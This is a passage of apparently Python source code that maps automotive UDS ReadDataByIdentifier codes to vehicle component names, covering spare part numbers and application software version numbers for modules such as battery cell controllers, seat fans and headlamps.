"Battery_junction_box_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d1] = "Cell_module_controller_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d2] = "Cell_module_controller_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d3] = "Cell_module_controller_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d4] = "Cell_module_controller_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d5] = "Cell_module_controller_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d6] = "Cell_module_controller_6_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d7] = "Cell_module_controller_7_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d8] = "Cell_module_controller_8_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d9] = "Cell_module_controller_9_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62da] = "Cell_module_controller_10_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62db] = "Cell_module_controller_11_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62dc] = "Cell_module_controller_12_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62dd] = "Seat_backrest_fan_1_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62de] = "Seat_backrest_fan_2_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62df] = "Seat_cushion_fan_1_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e0] = "Seat_cushion_fan_2_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e1] = "Seat_backrest_fan_1_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e2] = "Seat_backrest_fan_2_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e3] = "Seat_cushion_fan_1_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e4] = "Seat_cushion_fan_2_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e5] = "Auxiliary_blower_motor_control_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e6] = "Auxiliary_blower_motor_control_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e7] = "Infrared_sender_for_front_observation_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e8] = "Starter_generator_control_module_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e9] = "Media_player_1_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ea] = "Media_player_2_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62eb] = "Dedicated_short_range_communication_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ec] = "Refrigerant_pressure_and_temperature_sender_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ed] = "Refrigerant_pressure_and_temperature_sender_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ee] = "Refrigerant_pressure_and_temperature_sender_6_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ef] = "Air_coolant_actuator_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f0] = "Air_coolant_actuator_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f1] = "Cell_module_controller_13_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f2] = "Cell_module_controller_14_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f3] = "Cell_module_controller_15_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f5] = "Seat_heating_rear_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f6] = "LED_warning_indicator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f7] = "Automatic_transmission_fluid_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f8] = "Manual_transmission_fluid_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f9] = "Convenience_and_driver_assist_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fb] = "Air_coolant_actuator_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fc] = "Valve_block_4_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fd] = "Valve_block_4_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fe] = "Valve_block_4_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ff] = "Valve_block_4_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6301] = "Rear_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6302] = "Refrigerant_expansion_valve_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6303] = "Refrigerant_expansion_valve_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6304] = "Refrigerant_expansion_valve_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6305] = "Refrigerant_shut_off_valve_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6306] = "Refrigerant_shut_off_valve_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6307] = "Refrigerant_shut_off_valve_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6308] = "Refrigerant_shut_off_valve_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6309] = "Refrigerant_shut_off_valve_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630a] = "Sunlight_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630b] = "Near_field_communication_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630c] = "Clutch_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630d] = "Electrical_charger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630e] = "Rear_light_left_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630f] = "Rear_light_right_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6310] = "Rear_light_right_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6311] = "Sunlight_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6312] = "Radiator_shutter_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6313] = "Radiator_shutter_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6314] = "Radiator_shutter_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6315] = "Radiator_shutter_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6318] = "Special_key_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6319] = "Radio_interface_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631a] = "Video_self_protection_recorder_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631b] = "Special_vehicle_assist_interface_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631c] = "Electric_system_disconnection_diode_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631e] = "Belt_pretensioner_2nd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631f] = "Belt_pretensioner_2nd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6320] = "Electrical_variable_camshaft_phasing_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6321] = "Electrical_variable_camshaft_phasing_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6322] = "Wireless_operating_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6323] = "Wireless_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6324] = "Front_windshield_washer_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6325] = "Air_quality_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6326] = "Fragrancing_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6327] = "Coolant_valve_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6328] = "Near_field_communication_control_module_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6329] = "Interior_monitoring_rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632a] = "Cooler_fan_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632b] = "Control_unit_heating_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632c] = "Control_unit_heating_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632d] = "Control_unit_heating_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632e] = "Control_unit_heating_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632f] = "Operating_unit_drive_mode_selection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6330] = "Side_sensor_a-pillar_driver_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6331] = "Side_sensor_a-pillar_passenger_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6332] = "Sensor_high_voltage_system_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6333] = "Side_sensor_b-pillar_driver_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6334] = "Side_sensor_b-pillar_passenger_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6335] = "Multi_function_steering_wheel_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6336] = "Gear_selection_display_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6337] = "Cooler_fan_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6338] = "Gear_selector_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6339] = "Interior_light_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633a] = "Radio_control_center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633b] = "Multimedia_extension_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633c] = "Control_unit_differential_lock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633d] = "Control_unit_ride_control_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633e] = "Control_unit_hands_on_detection_steering_wheel_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633f] = "Front_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6340] = "Auxiliary_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6341] = "Card_reader_tv_tuner_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6342] = "Park_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6343] = "Media_connector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6344] = "Catalyst_heating_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6401] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6402] = "Rain_light_recognition_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6403] = "Light_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6404] = "Garage_door_opener_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6405] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6406] = "Ignition_key_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6407] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6408] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6409] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640a] = "LED_headlamp_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640b] = "LED_headlamp_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640c] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640d] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640e] = "Operating_and_display_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640f] = "Operating_and_display_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6410] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6411] = "Data_medium_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6412] = "Drivers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6413] = "Front_passengers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6414] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6415] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6416] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6417] = "Rear_lid_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6418] = "Alarm_horn_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6419] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641a] = "Remote_control_auxiliary_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641b] = "Fresh_air_blower_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641c] = "Fresh_air_blower_back_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641d] = "Alternator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641e] = "Interior_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641f] = "Refrigerant_pressure_and_temperature_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6420] = "Sun_roof_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6421] = "Steering_column_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6422] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6423] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6424] = "Heated_windshield_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6425] = "Rear_light_left_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6426] = "Ceiling_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6427] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6428] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6429] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642a] = "Belt Pretensioner left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642b] = "Belt Pretensioner right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642c] = "Occupant Detection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642d] = "Selector_lever_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642e] = "NOx_sensor_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642f] = "NOx_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6430] = "Ioniser_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6431] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6432] = "Left_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6433] = "Right_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6434] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6435] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6436] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6437] = "Battery_monitoring_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6438] = "Roof_blind_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6439] = "Sun_roof_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643a] = "Steering_angle_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643b] = "Lane_change_assistant 2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643c] = "Pitch_rate_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643d] = "ESP_sensor_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643e] = "Electronic_ignition_lock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643f] = "Air_quality_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6440] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6441] = "Telephone_handset_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6442] = "Chip_card_reader_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6443] = "Traffic_data_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6444] = "Hands_free_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6445] = "Telephone_handset_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6446] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6447] = "Multimedia_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6448] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6449] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644a] = "Interface_for_external_multimedia_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644b] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644c] = "Drivers_door_rear_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644d] = "Passengers_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644e] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644f] = "Camera_for_night_vision_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6450] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6451] = "Rear_spoiler_adjustment_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6452] = "Roof_blind_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6453] = "Motor_for_wind_deflector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6454] = "Voltage_stabilizer_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6455] = "Switch_module_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6456] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6457] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6458] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6459] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645a] = "Battery_charger_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645b] = "Battery_charger_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645c] = "Battery_charger_unit_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645d] = "Air_conditioning_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645e] = "Neck_heating_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645f] = "Neck_heating_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6460] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6461] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6462] = "Compact_disc_database_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6463] = "Rear_climatronic_operating_and_display_unit_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6464] = "Rear_climatronic_operating_and_display_unit_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6465] = "Door_handle_front_left_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6466] = "Door_handle_front_right_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6467] = "Door_handle_rear_left_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6468] = "Door_handle_rear_right_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6469] = "Power_converter_DC_AC_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646a] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646b] = "Matrix_headlamp_powermodule_1_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646c] = "Matrix_headlamp_powermodule_1_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646d] = "High_beam_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646e] = "High_beam_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646f] = "Air_suspension_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6470] = "Rear_brake_actuator_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6471] = "Rear_brake_actuator_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6472] = "Analog_clock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6473] = "Rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6479] = "Data_medium_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647a] = "Operating_unit_center_console_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647b] = "Operating_unit_center_console_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647c] = "Operating_unit_center_console_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647d] = "Operating_unit_center_console_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647e] = "Interface_for_radiodisplay_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647f] = "Parkassist_entry_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6486] = "Belt_pretensioner_3rd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6487] = "Belt_pretensioner_3rd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6488] = "Injection_valve_heater_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6489] = "Steering_column_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648a] = "Brake_assistance_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648b] = "Trailer_articulation_angle_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648c] = "Cup_holder_with_heater_and_cooling_element_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648d] = "Range_of_vision_sensing_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648e] = "Convenience_and_driver_assist_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648f] = "Cradle_rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6490] = "Trailer_weight_nose_weight_detection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6491] = "Sensor_carbon_dioxide_concentration_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6492] = "Sensor_fine_dust_concentration_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6493] = "Volume_control_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6494] = "Belt_buckle_presenter_2nd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6495] = "Belt_buckle_presenter_2nd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6496] = "Operating_and_display_unit_6_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6497] = "Active_accelerator_pedal_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6498] = "Multimedia_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6499] = "Display_unit_3_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649a] = "Display_unit_4_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649b] = "Display_unit_5_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649c] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649d] = "Operating_and_display_unit_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649e] = "Operating_and_display_unit_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649f] = "Operating_and_display_unit_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a0] = "Side Sensor Driver Front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a1] = "Side Sensor Passenger Front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a2] = "Side Sensor Driver Rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a3] = "Side Sensor Passenger Rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a4] = "Front Sensor Driver_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a5] = "Front Sensor Passenger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a6] = "Pedestrian Protection Driver_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a7] = "Pedestrian Protection Passenger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a8] = "Rear Sensor Center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a9] = "Pedestrian Protection Center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64aa] = "Pedestrian Protection Contact_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ab] = "Pedestrian_protection_driver_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ac] = "Pedestrian_protection_passenger_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ad] = "Central_sensor_XY_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ae] = "Refrigerant_pressure_and_temperature_sender_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64af] = "Refrigerant_pressure_and_temperature_sender_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b0] = "Switch_for_rear_multicontour_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b1] = "Valve_block_1_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b2] = "Valve_block_2_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b3] = "Valve_block_3_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b4] = "Switch_for_rear_multicontour_seat_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b5] = "Valve_block_1_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b6] = "Valve_block_2_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b7] = "Valve_block_3_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b8] = "Switch_for_front_multicontour_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b9] = "Valve_block_1_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ba] = "Valve_block_2_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bb] = "Valve_block_3_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bc] = "Switch_for_front_multicontour_seat_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bd] = "Valve_block_1_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64be] = "Valve_block_2_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bf] = "Valve_block_3_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c0] = "Coolant_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c1] = "Seat_backrest_fan_1_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c2] = "Seat_backrest_fan_2_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c3] = 